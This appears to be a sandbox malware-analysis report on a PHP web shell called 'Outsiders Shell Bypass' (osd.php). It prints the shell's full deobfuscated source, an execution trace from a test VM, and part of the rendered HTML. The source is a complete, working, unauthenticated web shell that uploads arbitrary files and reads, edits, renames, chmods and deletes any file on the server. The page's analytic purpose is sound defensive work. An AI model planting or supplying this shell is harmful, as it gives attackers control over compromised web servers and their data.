PHP Malware Analysis

osd.php

md5: 2d07e78946304cfaa20f0100d5a74a60

Jump to:

Screenshot


Attributes

Environment

Files

Input

URLs


Deobfuscated PHP code

<?php

error_reporting(0);
session_start();
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\n<link href=\"https://fonts.googleapis.com/css?family=Kelly+Slab\" rel=\"stylesheet\" type=\"text/css\">\n<link href=\"https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css\" rel=\"stylesheet\" type=\"text/css\"/>\n<center>\n<style type=\"text/css\">\nbody {\n\tfont-family: Kelly Slab;\n\tbackground-color: black;\n\tcolor: lime;\n\t}\n#content tr:hover{\n\tbackground-color: grey;\n\ttext-shadow:0px 0px 10px #000000;\n\t}\n#content .first{\n\tcolor: #000000;\n\tbackground-image:url(#);\n\t}\n#content .first:hover{\n\tbackground-color: grey;\n\ttext-shadow:0px 0px 1px #339900;\n\t}\ntable, th, td {\n\t\tborder-collapse:collapse;\n\t\tpadding: 5px;\n\t\tcolor: lime;\n\t\t}\n.table_home, .th_home, .td_home { \n\t\tcolor: lime;\n\t\tborder: 2px solid grey;\n\t\tpadding: 7px;\n\t\t}\na{\n\tfont-size: 19px;\n\tcolor: #00ff00;\n\ttext-decoration: none;\n\t}\na:hover{\n\tcolor: white;\n\ttext-shadow:0px 0px 10px #339900;\n\t}\ninput,select,textarea{\n\tborder: 1px #ffffff solid;\n\t-moz-border-radius: 5px;\n\t-webkit-border-radius:5px;\n\tborder-radius:5px;\n\t}\n.close {\n\toverflow: auto;\n\tborder: 1px solid lime;\n\tbackground: lime;\n\tcolor: white;\n\t}\n.r {\n\tfloat: right;\n\ttext-align: right;\n\t}\n</style>\n<a href=\"?\"><h1 style=\"font-family: Kelly Slab; font-size: 35px; color: white;\">\n./Outsiders Shell Bypass </h1></a>\n<BODY>\n\n<table width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"left\">\n<tr><td>";
echo "<tr><td><font color='white'>\n<i class='fa fa-user'></i> <td>: <font color='lime'>" . $_SERVER['REMOTE_ADDR'] . "<tr><td><font color='white'>\n<i class='fa fa-desktop'></i> <td>: <font color='lime'>" . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "<tr><td><font color='white'>\n<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>" . php_uname() . "</font></tr></td></table>";
echo "<table width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">\n<tr align=\"center\"><td align=\"center\"><br>";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<i class=\"fa fa-folder-o\"></i> : <a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "<br><br><br><font color=\"lime\"><form enctype=\"multipart/form-data\" method=\"POST\">\nUpload File: <input type=\"file\" name=\"file\" style=\"color:lime;border:2px solid lime;\" required/></font>\n<input type=\"submit\" value=\"UPLOAD\" style=\"margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px\"/>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<br><br><font color=\"lime\">UPLOAD SUCCES !!!!</font><br/>";
    } else {
        echo "<script>alert(\"File Gagal Diupload !!\")</script>";
    }
}
echo "</form></td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>files >> ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo ' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    //Chmod
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<br><br><font color=\"lime\">CHANGE PERMISSION SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Change Permission Gagal !!\")</script>";
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" style="width:80px; height: 30px;"/>
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
</form>';
    } elseif ($_GET['opt'] == 'btw') {
        $cwd = getcwd();
        echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="path" value="' . $cwd . '">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<br><br><font color=\"lime\">CHANGE NAME SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Change Name Gagal !!\")</script>";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" style="height:30px;" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<br><br><font color=\"lime\">EDIT FILE SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Edit File Gagal !!\")</script>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    //delete dir
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<br><br><font color=\"lime\">DELETE DIR SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Delete Dir Gagal !!\")</script>>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<br><br><font color=\"lime\">DELETE FILE SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Delete File Gagal !!\")</script>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    $pa = getcwd();
    echo "<div id=\"content\"><table width=\"95%\" class=\"table_home\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr class=\"first\">\n<th><center>Name</center></th>\n<th><center>Size</center></th>\n<th><center>Perm</center></th>\n<th><center>Options</center></th>\n</tr>\n<tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr>\n<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path={$path}/{$dir}\"> {$dir}</a></td>\n<td class=td_home><center>DIR</center></td>\n<td class=td_home><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"#57FF00\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"#FF0004\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\n<td class=td_home><center><form method=\"POST\" action=\"?option&path={$path}\">\n<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">\n<option value=\"Action\">Action</option>\n<option value=\"delete\">Delete</option>\n<option value=\"chmod\">Chmod</option>\n<option value=\"rename\">Rename</option>\n</select>\n<input type=\"hidden\" name=\"type\" value=\"dir\">\n<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\n<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>\n</form></center></td>\n</tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr>\n<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc={$path}/{$file}&path={$path}\"> {$file}</a></td>\n<td class=td_home><center>" . $size . "</center></td>\n<td class=td_home><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"#57FF00\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"#FF0004\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\n<td class=td_home><center><form method=\"POST\" action=\"?option&path={$path}\">\n<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">\n<option value=\"Action\">Action</option>\n<option value=\"delete\">Delete</option>\n<option value=\"edit\">Edit</option>\n<option value=\"rename\">Rename</option>\n<option value=\"chmod\">Chmod</option>\n</select>\n<input type=\"hidden\" name=\"type\" value=\"file\">\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\n<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>\n</form></center></td>\n</tr>";
    }
    echo "</table>\n</div>";
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
?>
</BODY>
</HTML>

Execution traces

data/traces/2d07e78946304cfaa20f0100d5a74a60_trace-1676245929.4756.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:52:35.373383]
1	0	1	0.000133	393512
1	3	0	0.000441	450456	{main}	1		/var/www/html/uploads/osd.php	0	0
2	4	0	0.000457	450456	error_reporting	0		/var/www/html/uploads/osd.php	2	1	0
2	4	1	0.000472	450496
2	4	R			22527
2	5	0	0.000486	450456	session_start	0		/var/www/html/uploads/osd.php	3	0
2	5	1	0.000538	451208
2	5	R			TRUE
2	6	0	0.000553	451208	get_magic_quotes_gpc	0		/var/www/html/uploads/osd.php	5	0
2	6	1	0.000566	451208
2	6	R			FALSE
2	7	0	0.000581	451432	gethostbyname	0		/var/www/html/uploads/osd.php	77	1	'localhost'
2	7	1	0.000615	451512
2	7	R			'127.0.0.1'
2	8	0	0.000631	451528	php_uname	0		/var/www/html/uploads/osd.php	78	0
2	8	1	0.000644	451640
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.000663	451208	getcwd	0		/var/www/html/uploads/osd.php	86	0
2	9	1	0.000676	451256
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/osd.php	86	$path = '/var/www/html/uploads'
2	10	0	0.000703	451256	str_replace	0		/var/www/html/uploads/osd.php	88	3	'\\'	'/'	'/var/www/html/uploads'
2	10	1	0.000718	451352
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/osd.php	88	$path = '/var/www/html/uploads'
2	11	0	0.000743	451256	explode	0		/var/www/html/uploads/osd.php	89	2	'/'	'/var/www/html/uploads'
2	11	1	0.000757	451832
2	11	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/osd.php	89	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/osd.php	91	$id = 0
1		A						/var/www/html/uploads/osd.php	93	$a = TRUE
1		A						/var/www/html/uploads/osd.php	91	$id = 1
1		A						/var/www/html/uploads/osd.php	99	$i = 0
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	91	$id = 2
1		A						/var/www/html/uploads/osd.php	99	$i = 0
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	91	$id = 3
1		A						/var/www/html/uploads/osd.php	99	$i = 0
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	91	$id = 4
1		A						/var/www/html/uploads/osd.php	99	$i = 0
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
1		A						/var/www/html/uploads/osd.php	99	$i++
2	12	0	0.000988	451760	scandir	0		/var/www/html/uploads/osd.php	219	1	'/var/www/html/uploads'
2	12	1	0.001017	452376
2	12	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'osd.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/osd.php	219	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'osd.php', 5 => 'prepend.php']
2	13	0	0.001053	452344	getcwd	0		/var/www/html/uploads/osd.php	220	0
2	13	1	0.001065	452392
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/osd.php	220	$pa = '/var/www/html/uploads'
2	14	0	0.001090	452440	is_dir	0		/var/www/html/uploads/osd.php	231	1	'/var/www/html/uploads/.'
2	14	1	0.001106	452504
2	14	R			TRUE
2	15	0	0.001120	452472	is_dir	0		/var/www/html/uploads/osd.php	231	1	'/var/www/html/uploads/..'
2	15	1	0.001134	452520
2	15	R			TRUE
2	16	0	0.001147	452480	is_dir	0		/var/www/html/uploads/osd.php	231	1	'/var/www/html/uploads/.htaccess'
2	16	1	0.001161	452520
2	16	R			FALSE
2	17	0	0.001174	452480	is_dir	0		/var/www/html/uploads/osd.php	231	1	'/var/www/html/uploads/data'
2	17	1	0.001188	452520
2	17	R			TRUE
2	18	0	0.001201	452480	is_writable	0		/var/www/html/uploads/osd.php	236	1	'/var/www/html/uploads/data'
2	18	1	0.001218	452520
2	18	R			TRUE
2	19	0	0.001231	452480	perms	1		/var/www/html/uploads/osd.php	238	1	'/var/www/html/uploads/data'
3	20	0	0.001244	452480	fileperms	0		/var/www/html/uploads/osd.php	299	1	'/var/www/html/uploads/data'
3	20	1	0.001262	452520
3	20	R			16895
2		A						/var/www/html/uploads/osd.php	299	$perms = 16895
2		A						/var/www/html/uploads/osd.php	315	$info = 'd'
2		A						/var/www/html/uploads/osd.php	328	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	329	$info .= 'w'
2		A						/var/www/html/uploads/osd.php	332	$info .= 'x'
2		A						/var/www/html/uploads/osd.php	335	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	336	$info .= 'w'
2		A						/var/www/html/uploads/osd.php	339	$info .= 'x'
2		A						/var/www/html/uploads/osd.php	342	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	343	$info .= 'w'
2		A						/var/www/html/uploads/osd.php	346	$info .= 'x'
2	19	1	0.001380	452520
2	19	R			'drwxrwxrwx'
2	21	0	0.001394	452480	is_writable	0		/var/www/html/uploads/osd.php	239	1	'/var/www/html/uploads/data'
2	21	1	0.001409	452520
2	21	R			TRUE
2	22	0	0.001423	452480	is_dir	0		/var/www/html/uploads/osd.php	231	1	'/var/www/html/uploads/osd.php'
2	22	1	0.001437	452520
2	22	R			FALSE
2	23	0	0.001450	452488	is_dir	0		/var/www/html/uploads/osd.php	231	1	'/var/www/html/uploads/prepend.php'
2	23	1	0.001465	452536
2	23	R			FALSE
2	24	0	0.001479	452480	is_file	0		/var/www/html/uploads/osd.php	259	1	'/var/www/html/uploads/.'
2	24	1	0.001493	452504
2	24	R			FALSE
2	25	0	0.001506	452472	is_file	0		/var/www/html/uploads/osd.php	259	1	'/var/www/html/uploads/..'
2	25	1	0.001519	452520
2	25	R			FALSE
2	26	0	0.001532	452480	is_file	0		/var/www/html/uploads/osd.php	259	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001546	452520
2	26	R			TRUE
2	27	0	0.001558	452480	filesize	0		/var/www/html/uploads/osd.php	260	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001571	452520
2	27	R			64
1		A						/var/www/html/uploads/osd.php	260	$size = 0.0625
2	28	0	0.001594	452424	round	0		/var/www/html/uploads/osd.php	261	2	0.0625	3
2	28	1	0.001607	452496
2	28	R			0.063
1		A						/var/www/html/uploads/osd.php	261	$size = 0.063
1		A						/var/www/html/uploads/osd.php	265	$size = '0.063 KB'
2	29	0	0.001647	452632	is_writable	0		/var/www/html/uploads/osd.php	272	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001663	452672
2	29	R			FALSE
2	30	0	0.001676	452632	is_readable	0		/var/www/html/uploads/osd.php	273	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001691	452672
2	30	R			TRUE
2	31	0	0.001704	452632	perms	1		/var/www/html/uploads/osd.php	274	1	'/var/www/html/uploads/.htaccess'
3	32	0	0.001717	452632	fileperms	0		/var/www/html/uploads/osd.php	299	1	'/var/www/html/uploads/.htaccess'
3	32	1	0.001730	452672
3	32	R			33188
2		A						/var/www/html/uploads/osd.php	299	$perms = 33188
2		A						/var/www/html/uploads/osd.php	309	$info = '-'
2		A						/var/www/html/uploads/osd.php	328	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	329	$info .= 'w'
2		A						/var/www/html/uploads/osd.php	332	$info .= '-'
2		A						/var/www/html/uploads/osd.php	335	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	336	$info .= '-'
2		A						/var/www/html/uploads/osd.php	339	$info .= '-'
2		A						/var/www/html/uploads/osd.php	342	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	343	$info .= '-'
2		A						/var/www/html/uploads/osd.php	346	$info .= '-'
2	31	1	0.001844	452672
2	31	R			'-rw-r--r--'
2	33	0	0.001858	452632	is_writable	0		/var/www/html/uploads/osd.php	275	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.001873	452672
2	33	R			FALSE
2	34	0	0.001886	452632	is_readable	0		/var/www/html/uploads/osd.php	275	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.001901	452672
2	34	R			TRUE
2	35	0	0.001914	452632	is_file	0		/var/www/html/uploads/osd.php	259	1	'/var/www/html/uploads/data'
2	35	1	0.001929	452672
2	35	R			FALSE
2	36	0	0.001942	452632	is_file	0		/var/www/html/uploads/osd.php	259	1	'/var/www/html/uploads/osd.php'
2	36	1	0.001955	452672
2	36	R			TRUE
2	37	0	0.001967	452632	filesize	0		/var/www/html/uploads/osd.php	260	1	'/var/www/html/uploads/osd.php'
2	37	1	0.001980	452672
2	37	R			12134
1		A						/var/www/html/uploads/osd.php	260	$size = 11.849609375
2	38	0	0.002004	452536	round	0		/var/www/html/uploads/osd.php	261	2	11.849609375	3
2	38	1	0.002017	452608
2	38	R			11.85
1		A						/var/www/html/uploads/osd.php	261	$size = 11.85
1		A						/var/www/html/uploads/osd.php	265	$size = '11.85 KB'
2	39	0	0.002057	452632	is_writable	0		/var/www/html/uploads/osd.php	272	1	'/var/www/html/uploads/osd.php'
2	39	1	0.002072	452672
2	39	R			FALSE
2	40	0	0.002085	452632	is_readable	0		/var/www/html/uploads/osd.php	273	1	'/var/www/html/uploads/osd.php'
2	40	1	0.002099	452672
2	40	R			TRUE
2	41	0	0.002112	452632	perms	1		/var/www/html/uploads/osd.php	274	1	'/var/www/html/uploads/osd.php'
3	42	0	0.002125	452632	fileperms	0		/var/www/html/uploads/osd.php	299	1	'/var/www/html/uploads/osd.php'
3	42	1	0.002137	452672
3	42	R			33204
2		A						/var/www/html/uploads/osd.php	299	$perms = 33204
2		A						/var/www/html/uploads/osd.php	309	$info = '-'
2		A						/var/www/html/uploads/osd.php	328	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	329	$info .= 'w'
2		A						/var/www/html/uploads/osd.php	332	$info .= '-'
2		A						/var/www/html/uploads/osd.php	335	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	336	$info .= 'w'
2		A						/var/www/html/uploads/osd.php	339	$info .= '-'
2		A						/var/www/html/uploads/osd.php	342	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	343	$info .= '-'
2		A						/var/www/html/uploads/osd.php	346	$info .= '-'
2	41	1	0.002251	452672
2	41	R			'-rw-rw-r--'
2	43	0	0.002265	452632	is_writable	0		/var/www/html/uploads/osd.php	275	1	'/var/www/html/uploads/osd.php'
2	43	1	0.002279	452672
2	43	R			FALSE
2	44	0	0.002292	452632	is_readable	0		/var/www/html/uploads/osd.php	275	1	'/var/www/html/uploads/osd.php'
2	44	1	0.002306	452672
2	44	R			TRUE
2	45	0	0.002323	452640	is_file	0		/var/www/html/uploads/osd.php	259	1	'/var/www/html/uploads/prepend.php'
2	45	1	0.002338	452688
2	45	R			TRUE
2	46	0	0.002378	452648	filesize	0		/var/www/html/uploads/osd.php	260	1	'/var/www/html/uploads/prepend.php'
2	46	1	0.002392	452688
2	46	R			57
1		A						/var/www/html/uploads/osd.php	260	$size = 0.0556640625
2	47	0	0.002415	452544	round	0		/var/www/html/uploads/osd.php	261	2	0.0556640625	3
2	47	1	0.002428	452616
2	47	R			0.056
1		A						/var/www/html/uploads/osd.php	261	$size = 0.056
1		A						/var/www/html/uploads/osd.php	265	$size = '0.056 KB'
2	48	0	0.002463	452648	is_writable	0		/var/www/html/uploads/osd.php	272	1	'/var/www/html/uploads/prepend.php'
2	48	1	0.002480	452688
2	48	R			FALSE
2	49	0	0.002493	452648	is_readable	0		/var/www/html/uploads/osd.php	273	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002508	452688
2	49	R			TRUE
2	50	0	0.002521	452648	perms	1		/var/www/html/uploads/osd.php	274	1	'/var/www/html/uploads/prepend.php'
3	51	0	0.002533	452648	fileperms	0		/var/www/html/uploads/osd.php	299	1	'/var/www/html/uploads/prepend.php'
3	51	1	0.002546	452688
3	51	R			33261
2		A						/var/www/html/uploads/osd.php	299	$perms = 33261
2		A						/var/www/html/uploads/osd.php	309	$info = '-'
2		A						/var/www/html/uploads/osd.php	328	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	329	$info .= 'w'
2		A						/var/www/html/uploads/osd.php	332	$info .= 'x'
2		A						/var/www/html/uploads/osd.php	335	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	336	$info .= '-'
2		A						/var/www/html/uploads/osd.php	339	$info .= 'x'
2		A						/var/www/html/uploads/osd.php	342	$info .= 'r'
2		A						/var/www/html/uploads/osd.php	343	$info .= '-'
2		A						/var/www/html/uploads/osd.php	346	$info .= 'x'
2	50	1	0.002661	452688
2	50	R			'-rwxr-xr-x'
2	52	0	0.002675	452648	is_writable	0		/var/www/html/uploads/osd.php	275	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002690	452688
2	52	R			FALSE
2	53	0	0.002703	452648	is_readable	0		/var/www/html/uploads/osd.php	275	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002717	452688
2	53	R			TRUE
1	3	1	0.002823	452584
			0.002854	326856
TRACE END   [2023-02-12 21:52:35.376131]


Generated HTML code

<html><head><link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
</head><body><center>
<style type="text/css">
body {
	font-family: Kelly Slab;
	background-color: black;
	color: lime;
	}
#content tr:hover{
	background-color: grey;
	text-shadow:0px 0px 10px #000000;
	}
#content .first{
	color: #000000;
	background-image:url(#);
	}
#content .first:hover{
	background-color: grey;
	text-shadow:0px 0px 1px #339900;
	}
table, th, td {
		border-collapse:collapse;
		padding: 5px;
		color: lime;
		}
.table_home, .th_home, .td_home { 
		color: lime;
		border: 2px solid grey;
		padding: 7px;
		}
a{
	font-size: 19px;
	color: #00ff00;
	text-decoration: none;
	}
a:hover{
	color: white;
	text-shadow:0px 0px 10px #339900;
	}
input,select,textarea{
	border: 1px #ffffff solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	}
.close {
	overflow: auto;
	border: 1px solid lime;
	background: lime;
	color: white;
	}
.r {
	float: right;
	text-align: right;
	}
</style>
<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
./Outsiders Shell Bypass </h1></a>


<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
<tbody><tr><td></td></tr><tr><td><font color="white">
<i class="fa fa-user"></i> </font></td><td>: <font color="lime">::1</font></td></tr><tr><td><font color="white">
<i class="fa fa-desktop"></i> </font></td><td>: <font color="lime">127.0.0.1 / localhost</font></td></tr><tr><td><font color="white">
